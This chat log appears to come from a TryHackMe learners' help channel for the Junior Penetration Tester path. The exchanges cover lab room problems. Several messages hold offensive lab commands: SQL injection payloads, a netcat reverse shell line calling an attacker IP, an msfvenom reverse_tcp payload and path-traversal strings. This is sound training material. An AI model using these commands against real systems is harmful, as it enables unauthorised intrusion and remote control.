remote iris
lusty tide
#

yea

remote iris
#

Which IP?

eager kiln
#

Help required

drifting sedge
#

ban this guy

edit: ty

vapid jackal
#

Whats the difference between
select * from users where username='admin';
and
select * from users where username != 'admin';
Does the first one only return the first row with the username admin or something?
Im a little confused

rough epoch
vapid jackal
next lanceBOT
#

Gave +1 Rep to @rough epoch

rough epoch
median jay
#

In the linux priv esc room:
I am compiling C code with the gcc but in the exploitation it shows this message, "
./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)
"

I have upgraded glibc. Still not working.

Does anyone know about this?

drifting sedge
#

im in active recon and my -nc ip 80 hasnt been working

remote iris
drifting sedge
#

attackbox

remote iris
#

You'll need to use a different port.

#

The attackbox uses port 80.

drifting sedge
tired scaffold
#

i get no reply on "Pracitcal Example (blind xss)". using the right IP-Adress and Port. used the script for cookie exfiltration on subject and content... hmm

prisma raptor
median jay
prisma raptor
median jay
prisma raptor
drifting sedge
#

How do I know what ports can be accessed by telnet and what cannot?

remote iris
drifting sedge
remote iris
#

Sv will pick it up.

drifting sedge
#

got it, tyvm

jaunty orchid
#

Does anyone know of any good checklists or resources for beginners when approaching a box to help in making sure you don't forget anything?
For example something like:-
Enumerating:

  • use whois/nslookup/dig
    --list of lookup types (A, AAAA, CNAME, MX, SOA, TXT)(
    --common syntaxes for nslookup -eg. nslookup -type=A 10.10.1.1
    --common syntaxes for dig -eg dig 10.10.1.1 MX
  • nmap scan
    --request types - ICMP/ARP/TCP/UDP
    ---TCP scan types - SYN ACK, ACK + syntax example
    ---UDP scan - syntax example
    etc...

I hope you get the idea of what I'm asking. Just something that can be used as a checklist but also provide a bit of help with remembering syntaxes etc. I'm sure this will all come naturally after practicing it over and over, but to begin with is quite useful so you are not stuck on a box because you forgot to do something obvious

wild solar
#

Hey guys I have a question. I want to be a red teamer. I'm doing Jnr penetration tester path. But I'm having trouble grasping the full concept. So can I do security engineer and coc path first practice it a little then come back to penetration path..What I'm trying to ask is that can I become a red teamer later by first learning blue team

prisma raptor
vapid jackal
#

website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(2),2 from information_schema.tables WHERE table_schema= 'sqli_f___' and table_name = '%';--

Why isnt this working I use the right database name and just the wildcard and there is no syntax error

vapid jackal
#

Am i just stupid and not seeing something? Or am I completely wrong? This is incredibly frustrating.

sage current
azure flume
vapid jackal
# sage current sometimes _ are used as wildcards in sql stuffs

So I dont actually have the correct database name? That would make a lot of sense knowing _ are sometimes wildcards. Though the task said to try characters such as - and underscore as well as numbers and letters when enumerating names in this way which is a little confusing.

sage current
#

yeah it is confusing and has caused problems a lot of times for a lot of users

rough epoch
#

so the sleep become the sign of the return value because there is no visual for the return value, if the sleep is executed then the return is true, if not then false, you can read it more on the materials

drifting sedge
#

so using --script=vuln is generally frowned upon because it makes people lazy right

#

I'm trying really hard to find out where vulnerabilities could be found via nmap and maybe I should read the modules again or complete the msf modules

sage current
drifting sedge
sage current
#

from nmaps man page

drifting sedge
sage current
#

i.e if you must use scripts against the target and not wanna break stuff you probably want the safe catogery

limber hemlock
#

I had finished this path before. Just logging back in trying to get my certificate, and its now saying I haven't completed the path and my burp progress appears totally reset? Anyone else experienced this?

sage current
limber hemlock
#

I see. Kind of annoying, but thanks for the info.

sage current
#

yeah can be annoying but it was the best way to solve the problem

tender lichen
#

Task 3 For Subdomain Enumeration seems to be out of date. Or maybe Im doing it wrong, but Im copy pasting the search thread into google, so IDK.

#

anyone know the anser??

#

nvm isued the tls databse thing

indigo arch
#

I a ctf - Can i use the pre-installed teminal in Mac or install Linux / kali

Or its the same?

I fell i run in circles...

I installes Python3 - but am still stucked

lament osprey
uncut yoke
indigo arch
uncut yoke
dire forum
#

does anyone know the difference between IDOR and File Inclusion? It seems like IDOR can also be used to access unauthorized files in file inclusion

#

Like is file inclusion just a type of IDOR because they both seem very similar

solid lagoon
#

I'm in the OWASP Juice shop module and unable to get response for task 7. I was able to get the proper response, showing 'xss', but the flag was never presented, not within the scoreboard either. Looking for a bit of assistance, or nudge in the correct direction. Thank you

agile rampart
#

Hey everyone, having some trouble with Authentication Bypass: Task 2. I typed in the command shown, there's nothing showing errors in regards to my syntax, it does say 10164 errors though. I'm not getting any usernames, im not sure how i can upload my screenshots ive taken

vapid jackal
#

Doing the extra mile challange in the burp intruder room and the length of all responses are somewhat similar there is no significantly shorter one and the shortest is invalid so something is going wrong. I used the correct word lists in the right places and the macro works fine. I dont understand what im doing wrong.

proper lake
#

I have some problems with Walking An Application task 3 . Question "What is the directory listing flag?" Why THM{CHANGE_DEFAULT_CREDENTIALS} is wrong ??

proper lake
remote iris
proper lake
remote iris
proper lake
#

I have chosen many options to find correct variant . I coundn't

remote iris
#

Have you performed a forced directory browser?

proper lake
#

NO. I red instruction and there wasn't any mentions about performed a forced directory browser

#

And I got the flag , but it is . How many flags exists )

remote iris
#

Sometimes you have to think outside the material.

proper lake
#

So I can't think outside the material because I don't have any another material

vapid hearth
#

@proper lake believe it or not, there is material inside material and material outside material.🤪
Jk, try YouTube there are some great vids on that specific subject matter that has you questioning.
Fuck my grammar.

proper lake
dire forum
#

when using scp, is it possible to use scp command inside ssh or only outside of ssh?

prisma raptor
dire forum
#

ok gotcha I most likely did something wrong in the command because I could only copy files using scp while I was outside of ssh

#

if I used scp inside the ssh, the file seemed to have only been copied inside the ssh and not to my root

prisma raptor
tall swallow
#

Good evening

I'm studying "Exploit Vulnerabilities" rool which can be found here :
https://tryhackme.com/room/exploitingavulnerabilityv2

I'm doing task 5 and I'm on the final question.
I already know the answer, but I have a problem
I'm trying to run the code on my local.

In the first attched screenshot, I have got the first question correctly and I know the vaunarability,
So on the screenshot 2 whenever I try to run the python script, It throws error that the script is not found

My question is, where is those scripts located exactly on linux kali?

#

Let me answer my question
I found it just by searching for the target script with the script name
I found it at the attached screenshot path

tall swallow
#

Regarding my previous question
I'm getting the attached image error
any solution?

prisma raptor
tall swallow
#

Thank you.
Python was missing blobheart

vapid jackal
#

Could someone just give me the answer to burp intruder rooms task 12.
Im following the instructions correctly repeatedly its not working all responses are a similar length.

#

I understand the process there just don't seem to be any valid credentials.

prisma raptor
vapid jackal
#

Ive done it now. And feel very stupid because I didnt notice it needed to be a get not a post request.🤦🏻‍♂️

open dune
#

As a beginner from a non-IT background, I would like to prepare for the Security+ exam. Could you please guide me on how much time I need to dedicate to my preparation? I am asking about the duration required from the beginning to the end in order to fully understand the content and successfully pass the exam. I'm unsure if I should allocate at least 8 months, and since I am new to this field, your guidance in the form of a roadmap would greatly help me.

vagrant charm
# open dune As a beginner from a non-IT background, I would like to prepare for the Security...

This depends on many factors, your preexisting knowledge and how much time a week you can dedicate to study being the main ones. You say that you are from a non IT background, but do you know what a switch is? What about the osi model? The security+ is made to build off of the a+ and network+, how much of that content you know will also have an effect on how long you need to study for the security+. Of course you do not need to take these other exams, but you should probably understand the basics of what they cover

#

That being said #cyber-and-careers is probably a better channel for this type of discussion

open dune
#

Hey I have a doubt like scammers payback and Jim browning which software they use for calling anonymously also voice changing could you please help me to get this?

vagrant charm
#

I don't know much about that stuff, not sure this is really the place to ask either

uncut yoke
lost sand
#

Alrighty, I'm almost done with the Jr. Penetration Tester pathway; I've finished the more simple ones as well, such as Pre-Security and Introduction to Cybersecurity. With the goal of learning Penetration Testing, what would be the recommended next pathway to take? I'm guessing "Red Teaming" or "Offensive Pentesting", but I'm not sure if there are other recommendations people have.

sage current
lost sand
#

Thanks @sage current, I forgot to mention I did do the web application testing, but I'll be sure to do the offensive pentesting path next. I appreciate the help!

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
lost sand
near burrow
#

Hello! When try to run echo c:\tools\nc64.exe -e cmd IP PORT > ... i keep getting:

Write-Output Parameter cannot be processed because the parameter name 'e' is ambiguous
Anyone has seen this before?

prisma raptor
near burrow
#

Not sure how this bug/issue reports work on the platform.

near burrow
#

Windows Privilege Escalation - task 4 (but machine from task 3)

prisma raptor
#

And are you running the echo command in Windows or in your attack machine?

near burrow
#

Windows. I was actually using the split interface directly and PowerShell

#

(Thanks for the help!)

prisma raptor
#

Can you try typing in echo "c:\tools\nc64.exe -e cmd.exe <attacker ip> 4444" > C:\tasks\schtask.bat?

The echo command seems to take the -e option for itself and not on nc64.exe

near burrow
#

Let me spin that up again - one sec.

#

Yes, that seemed to work 🙂 Did a type c:\tasks\schtask.bat and the code is there. Reverse shell didn't work after executing the task but i can figure the rest out heh. Thanks for the help

prisma raptor
#

You're welcome

normal goblet
#

Anyone who has done junior pentest path can help me in linux privilege escalation

vagrant charm
rapid lagoon
#

Need help setting up the Breaching AD room. I was able to ping the DC, but was unable to get a nslookup to work on my own machine. Have a feeling I'll have to wait for the network to reset or it could be a DNS issue. This is my first networked room. https://tryhackme.com/room/breachingad

remote iris
remote iris
rapid lagoon
#

I see it now. I'm pretty sure I have that done right, but I'll go over it once more

rapid lagoon
rapid lagoon
#

nod

harsh nexus
#

Hey everyone, I'm in the Metasploit: Exploitation room. So, I'm trying to answer the questions of Msfvenom but when I run the command msfconsole or Msfvenom it says command not found

#

In which directory does the tools are in

#

I'm using the VM

prisma raptor
prisma raptor
harsh nexus
#

I clicked start the machine

prisma raptor
#

If you can share a screenshot of the error, we can better assist you. You need to verify your account though.

#

!docs verify

tiny bluffBOT
harsh nexus
#

Ok one sec

#

!notifyme

tiny bluffBOT
#

Ok @harsh nexus, you will now be notified of future announcements.

harsh nexus
#

@prisma raptor I don't know why but it's not working

prisma raptor
harsh nexus
#

That's what I did

prisma raptor
#

What response did you get?

harsh nexus
#

I didn't get any response

lucid ridge
#

Hi,
Each time I try to ssh to a tryhackme machine from kali linux I’ve got a permission denied (publickey). Could you help me to fix that issue?

prisma raptor
lucid ridge
#

Net Sec Challenge

uncut yoke
lucid ridge
#

Not yet

uncut yoke
#

are you connected with your vpn?

lucid ridge
#

Yes I did

#

Should I set up a ssh key for tryhackme?

uncut yoke
#

no. you should download the openvpn key from your access on your profile

lucid ridge
#

I did that and I can ping the tryhackme machine

uncut yoke
#

The reason why i asked is because I was trying to do one. Found I wasn’t even connected to the correct network

lucid ridge
#

So, should I change the vpn and get another openvpn key?

uncut yoke
#

If you’re connected with openvpn then there’s no need to.

lucid ridge
#

ok

uncut yoke
#

do a nmap scan and go from there. might want to open the ip of your target in a browser.

lucid ridge
#

22/tcp, 8080/tcp open

#

I can access the web page

#

but I can’t ssh

uncut yoke
#

correct. most of the rooms have you exploit a website for ssh credentials.

tepid cobalt
#

I see a lot of rooms in this path are locked behind using a premium account, do they have crucial stuff to learn?
I'm mostly learning through THM as a hobby so I prefer not to subscribe if the free rooms teach enough knowledge

remote iris
#

Not really, you can find alternative learning materials via Google etc.

tepid cobalt
#

What about the rooms with hands-on teaching?

prisma raptor
drifting sedge
#

Hey is it possible to spawn a fully interactive shell via meterpreter PHP? I'm going through the gtfo bins but every time I try to use a python priv esc nothing shows

#

nvm nailed it

#

easy peasy

full vapor
#

Hi I have a question on the "File Inclusion" Room Task 5.

It said if we enter THM we will get the following error:

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

but we don't get /var/www/html/THM-4/index.php

and then it went from ../../../../etc/passwd to

include(languages/../../../../../etc/passwd.php)

I don't understand why it became 5 "../".

https://tryhackme.com/room/fileinc

swift spruce
full vapor
swift spruce
#

hahaha yeah man but did you make it or are you still at it?

swift spruce
full vapor
primal garden
shell elm
#

@full vapor & @swift spruce I believe the 5 references to move up the directory tree are arbitrary. I was confused at first as well but I think the lesson there is to try and try again as well as driving you to scripting/automation.

full vapor
crimson garden
#

share link pls we need source

bitter rivet
#

windows privelege escalation/task6: how to connect to windows machine using the attackbox

#

?

prisma raptor
bitter rivet
#

thank u!! is this how we should do this task? its not very clear

prisma raptor
bitter rivet
#

ah ok thank u very much

prisma raptor
# crimson garden share link pls we need source

Try to do a search first on your own before asking for help to build on your researching skills. It'll be helpful for you later down the line, especially when researching error messages in your scripts or exploits.

crimson garden
#

i got it thank you

#

i searched a lot

#

it was in a folder which one of the users here advised me to search in

shrewd totem
#

Hi!!
I want to know is there any way to download my certificate as pdf format ?

remote iris
shrewd totem
#

@remote iris thank you 👍🏻

next lanceBOT
#

Gave +1 Rep to @remote iris

valid basin
#

can someone assist me to find flag2 !
is my find cmd wrong ?
Linux Privilege Escalation >> Task 6

edit :
✅ Solved i was on wrong machine so Ubuntu folder was missing.

foggy plank
#

hello

past venture
#

Hello,

Concerning the answer: "https://nvd.nist.gov/vuln/full-listing/2021/7 check it" on Vulnerability 101 "Using NVD, how many CVEs were submitted in July 2021?".

I faced with the same issue, I tried to search the same way as "Deleted User" did 2 years ago (interestingly the result is slightly different :O). I found your solution above, but your offered link does not even exist any more. I do not find any solutions to figure out the expected answer.

tall swallow
#

Anybody here done this before? How do you deal with windows machines? 😭

#

I feel really lost. KoTH is really hard.

#

Also is there anyone here instrested to hack together? I wanna have a team. Maybe we could benifit from eachother

remote iris
#

There is two boxes on the site that give you help with KoTH

sour bobcat
#

How's everyone doing? I am about to start this path, cannot wait!

lofty sequoia
inland crystal
#

I'm having this error message trying to run the php-revshell on the windows webserver VM from What the shell's room

#

is it a compatibility issue ?

prisma raptor
# inland crystal

Yes, I would suggest you use another php reverse shell payload from ivan sincek

inland crystal
#

All right, thanks 👌

strong owl
vagrant charm
#

I wouldn't go around posting the flag for rooms here, just ask for help for the specific flag you are stuck on and I'm sure someone will help you out eventually

fathom cradle
#

External files such as CSS, JavaScript and Images can be included using the HTML code. In this example, you'll notice that these files are all stored in the same directory. If you view this directory in your web browser, there is a configuration error. What should be displayed is either a blank page or a 403 Forbidden page with an error stating you don't have access to the directory. Instead, the directory listing feature has been enabled, which in fact, lists every file in the directory. Sometimes this isn't an issue, and all the files in the directory are safe to be viewed by the public, but in some instances, backup files, source code or other confidential information could be stored here. In this instance, we get a flag in the flag.txt file.

#

Did you get that flag?

#

If I remember that right you have to open website source code and look where CSS, JavaScript and Images are stored. They are in the same directory. ||Just delete the part at the end with CSS or JavaScript or Images and paste that directory into browser adress bar.|| I did this room a few days ago so I'm not 100% sure it went like that, so if you have any questions ask freely aniguns

humble sail
#

Hello!
I just wanted to ask if anyone else had faced the same issues as I'm facing in Windows Privilege Escalation?
first two Windows VM seems not to connect so far.

modest arch
prisma raptor
humble sail
humble sail
unique grotto
#

Need help can't seem to run my exploit. I'm on room metasploit:meterpreter error message was Exploit failed:load error cannot load such file active record/association/belong to association

#

I've already restarted my attck box twice

#

No dice

tardy edge
#

w

stuck bobcat
#

Thanks for this. Also threw me off lol. Usually the walkthrough portions are more straightforward.

next lanceBOT
#

Gave +1 Rep to @digital cape

digital cape
worthy fern
#

The answer to Question 1 of Task 5 in (Pentesting) File Inclusion Room should be /lab3.php?file=../../../../etc/passwd%00 but the room accepts /lab3.php?file=../../../../etc/passwd.

Are both answers correct?

prisma raptor
sour bobcat
#

Viewing the page source on the "Viewing page source" section in the Jr. Pentest room, I like the little Easter Egg in the console. Hahaha.

worthy fern
next lanceBOT
#

Gave +1 Rep to @prisma raptor

dusky finch
#

The file inclusion section is as clear as mud😖. Anyone else having a go at it?

tardy robin
#

Anyone to help me please? I think I am stuck on the Jr Pentester Path precisely on the Walking the website room

worldly stratus
quiet pawn
#

Hi, I have problem in Authentication Bypass Task 3

#

in W1 i wrote the username and selected W2 as password list

#

still couldn't get the hit

#

W1

prisma raptor
prisma raptor
quiet pawn
prisma raptor
quiet pawn
#

yes

#

I got the answer

#

thanks for your help 😁

prisma raptor
#

Glad I could help.

upbeat current
#

Hi, I'm having a problem in the metaspolit explotaiton task 6.

#

i've managed to download the payload to the target machine, and the metasploit handler is recieving, but the session instantly closes whenever it runs

#

any ideas?

#

the payload is used is :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.23.51 LPORT=4444 -f elf > rev_shell.elf

upbeat current
tardy robin
worldly stratus
tardy robin
#

Task 3 of Walking an application

tardy robin
prisma raptor
tardy robin
#

Yes I have. The particular task is still disturbing is the exercise which requires me to search for the framework flag

tardy robin
prisma raptor
tardy robin
tardy robin
dusky finch
# prisma raptor Why so?

Sorry for the late replyNotLikeThis It's just not clicking for me. I'll have to go over it again. It took me a few days to complete, I'm sure that didn't help.

leaden sedge
#

I was doing the linux privilege escalation room on Task 5 , and i am not able to download the exploit script from my http server , anyone with the same issue?

remote iris
#

Which error you getting?

leaden sedge
# remote iris Which error you getting?

i did transfer the script in "/tmp" finally, but i was not able to download the script in "/" , it stated that permission denied , why is that happening ?

prisma raptor
next lanceBOT
#

Gave +1 Rep to @prisma raptor

pulsar rain
#

hello there ! I found a strange-ish behaviour on the level 5 of the XSS room

#

basically the intended way is to bypass the 'script' deletion from our input with 'sscriptcript' tags, but I find this approach a bit dull since if the webdev uses a recursive trim it doesn't work, but using another way like <img onload="script" src="some random thing on the web"> doesn't pass the xxs payload test of this level :/

ebon flicker
#

Quick question, in the biba model why can people with lower access leve read up ? Wouldn’t that go against confidentiality element of the CIA triad ?

prisma raptor
pulsar rain
#

Hello there, is there any way to complete the sql injection room via writing a script ? ngl it's quite painful to have to do the enumeration process manually typing every single letter of my keyboard for each character of the table, column and content of the database :/

ripe jacinth
#

Just finished this path, was a lot of fun, and a lot of work. At the end of WIndows Priv Esc I wish there was a capstone task like with the Linux Priv Esc. Would be super duper 😄

stuck topazBOT
#

There are no URLs in that message.

ripe jacinth
#

whhops, didn't mean to do that last thing there lol

errant yoke
#

Man, doing Vulnerabilities 101 Task 4, can't believe I had to go to waybackmachine for this one. Guess that's what happens as orgs update their websites over time.

brazen sedge
#

Does anyone know if there is an update coming to the JR pentester path? The content is like 3 years old.

river oasis
next lanceBOT
#

Gave +1 Rep to @errant yoke

errant yoke
supple palm
#

I had the same problem till I tried using DNS name instead of IP address

ripe jacinth
#

Heya all, I'm on task 4 in Local WIndows Persistence and I cant get my service to stay running. I've used the commands provided and it appears the services starts...I swapped to the GUI versions of services (services.msc) and I'm getting an error saying that the service automatically stops because nothing is actually using the service.

I created my payload to remote back to my machine and local port correctly.....Any idea why this might be happening? Thanks all
https://tryhackme.com/room/windowslocalpersistence

prisma raptor
ripe jacinth
# prisma raptor Have you started from task 1 when working on this one? I haven't done the room m...

I jumped straight to task 4…from what I can tell each task is isolated. The way this task starts its service has no relation to the other tasks….has no dependency on the other task completion. I could see if the service was relying on a different user account or environment settings. I could see reliance on getting the flag as having pre requisite information since they’re exe files that have dependencies other than just being admin…but launching the service itself should be an independent function. Alas, I will try it later when I’m back in the lab and report back just in case…as you mentioned you read that it needs@to be done that way…I’ll give it a try. Ty for the reply 🙂

next lanceBOT
#

Gave +1 Rep to @prisma raptor

ripe jacinth
next lanceBOT
#

Gave +1 Rep to @prisma raptor

prisma raptor
sage current
#

no idea why it behaves that way ¯_(ツ)_/¯

#

just assumes it does for some reason

prisma raptor
#

Oohh..

tardy robin
#

Hello

#

Please anyone to help

#

I am facing some issues

prisma raptor
#

If you can describe your issue directly, someone will definitely assist.

tender lichen
#

hello, Im in the File Inclusion room, and Im stuck on the first Challenge in the challenge task, I try doing it the same way as the write up, but I cant get it to work. It doesn't send the flag

hollow zealot
#

PrivEsc -> NFS, I got this error

shadow field
#

Hello, in the SQL Injection room, task 8, i can't find a valid character or number for column name.. i guess i'm doing something wrong. this is where i'm stuck || admin123' UNION SELECT,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_four' and TABLE_NAME='analytics' and COLUMN_NAME like '?%' || any hint?

shadow echo
shadow field
#

Hello, i didnt 😅

#

Tunnel vision, thank you i will check this out asap

tardy robin
#

I am facing some difficulties with task 6 on Subdomain enumeration, virtual host
I have ran the following commands

user@machines trut
-W
/usr/share/wordlists/Seclists/Discovery/DNS/namelist.txt
-H "Host: Fuzz.acmeitsupport. thm" -u http://MACHINE_IP

After which i ran the below command following the rules as the question specified but was still unable to get the subdomain

user@machines trut
-W
/usr/share/wordlists/Seclists/Discovery/DNS/namelist.txt
-H "Host: Fuzz.acmeitsupport. thm" -u http://MACHINE_IP - fs {size}

remote iris
prisma raptor
thin wedge
#

Nothing pops up when I run the command

#

Never mind - my txt file wasnt formatted properly

coarse trout
#

I'm doing the local file inclusion challenges and on the first one I ended up using : ||curl -F file=/etc/flag1 http://IP/challenges/chall1.php||

Then I looked at the hint and realised I had missed something easier , I think 😂

Yeah solved it using the hint in about 2 minutes, oops

next thorn
#

Having an issue with walking an application I start the attack box wait 2 min then try using url given to me and it keeps saying 504 gateway timeout

next thorn
#

Fixed it

calm shell
#

Solved

sour bobcat
#

Alright, so I am a little thrown off in the junior Pentest path - Authentication Bypass- Username Enumeration section: I have a little front end development experience in web development, but I have no idea what they are talking about with this "The -H argument is used for adding additional headers to the request. In this instance, we're setting the Content-Type so the web server knows we are sending form data." for the ffuf tool. What headers, and how are we supposed to know what headers to insert? Is this important to know at this point in the path?

calm shell
#

-H is adding a header to the headers of our web request we're sending to the server itself. The content-type is not itself that important to remember but knowing how to USE content type and WHEN to use it is what you should be thinking about. I hope that helps 🙂

next lanceBOT
#

Couldn't find command 'is adding a header to the headers of our web request we're sending to the server itself. The content-type is not itself that important to remember but knowing how to USE content type and WHEN to use it is what you should be thinking about. I hope that helps 🙂'

sour bobcat
next lanceBOT
#

Gave +1 Rep to @calm shell

calm shell
random dew
#

Is it possible that a machine be shared amongst several users? I am doing the Net Sec Challenge (last question) and the Chance of scan being detected is going up even before I have launched nmap.

vagrant charm
next lanceBOT
#

Gave +1 Rep to @vagrant charm

crisp bobcat
#

Guys is jr pentest path and oscp are enough to take ejptv2? I didn’t like the ins course but I liked thm path’s more

prisma raptor
crisp bobcat
#

I mean the oscp path in thm

prisma raptor
crisp bobcat
fathom cradle
#

It's best to use several resources, not just one if you are preparing for a test/certificate

prisma raptor
rotund jewel
rotund jewel
#

Those paths will be a big help learning to pass but doesn't cover everything. I paid INE for their learning material and labs not the certification.

woeful belfry
#

hello guys. im on the room https://tryhackme.com/room/linprivesc and have issues with compiling the shell in task 11. maybe there is a solution and i havent seen it yet. can someone help me out?

#

after compiling i get that error (executing shell on target)
./shell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./shell)

ornate comet
#

Can you compile it on the target box?

woeful belfry
#

with sudo yes

#

sudo on my terminal (mounted with the target shared folder)

#

i can also set the +x and +s bits

placid stone
#

With the Authentication Bypass - Task 2, I can't access the Acme IT Support website, it keeps timing out. I've tried it with 2 machines by terminating the first and starting a second one, but same problem.

placid stone
#

Never mind, it's supposed to be visited from the attackbox i guess (which is not mentioned)

prisma raptor
crisp bobcat
prisma raptor
crisp bobcat
vagrant charm
vagrant charm
#

The Cyber Mentor

opal epoch
#

ty

obtuse widget
#

Hey guys. Am stuck at Vulnerabilities 101.
Using NVD, How many CVEs were published in July 2021.

When I try searching it says Date Ranges cannot exceed 120 days.
What should I do???

prisma raptor
next lanceBOT
#

Gave +1 Rep to @prisma raptor (current: #25 - 306)

crisp bobcat
#

Guys i wanna take Oscp in one year but im afraid that my laptop doesn’t fit in the exam, its huawei Matebook pro 1tb and 16 ram , but the cam is in keyboard so thats why im kinda scared

prisma raptor
crisp bobcat
prisma raptor
# crisp bobcat What’s their email

I don't mean to be rude or anything, but if you plan on taking OSCP, you would have to learn and get used to doing a lot of research on your own. A quick Google search and I was able to find it.

crisp bobcat
#

Thank u♥️

prisma raptor
#

No worries.

rigid halo
#

The Junior Pentester path should definitely move BurpSuite above SSRF

hearty fog
#

I agree, I think some of this stuff is out of order

remote iris
#

So you'd move the entire burp content in front of an Introduction to web hacking ?

ornate comet
#

Hi all i have issue GLIBC version on room linprivesc how can i got the suitable bash for nfs ?

#

Trying to compile some c code will return the same

hard narwhal
#

same problem

prisma raptor
hard narwhal
hard narwhal
#

NVM

#

i forgot to ./bash

#

thanks

ornate comet
calm shuttle
#

I'm doing Web Fundamentals path and need help in Task 10 (Site Map & Issue Definitions) of Room Burp Suite (The Basics).
I have to receive a flag after visiting unusual endpoint. Tried looking on YouTube etc as well but they don't have this one as there might be some update in this room. Can someone please guide as the same task might be in some other room as well

fluid lance
calm shuttle
next lanceBOT
#

Gave +1 Rep to @fluid lance (current: #497 - 8)

icy wren
#

can someone help me with the search in vulnerabilities101 task 4

icy wren
#

nvm i completed it

distant cloud
#

Can someone help me with Walking An Application task 3? Having a hard time answering the following question, What is the flag from the HTML comment? I look at the code in the website but I cannot find the flag it is asking. I even went to the website in the flag and I cannot find it

ornate comet
distant cloud
ornate comet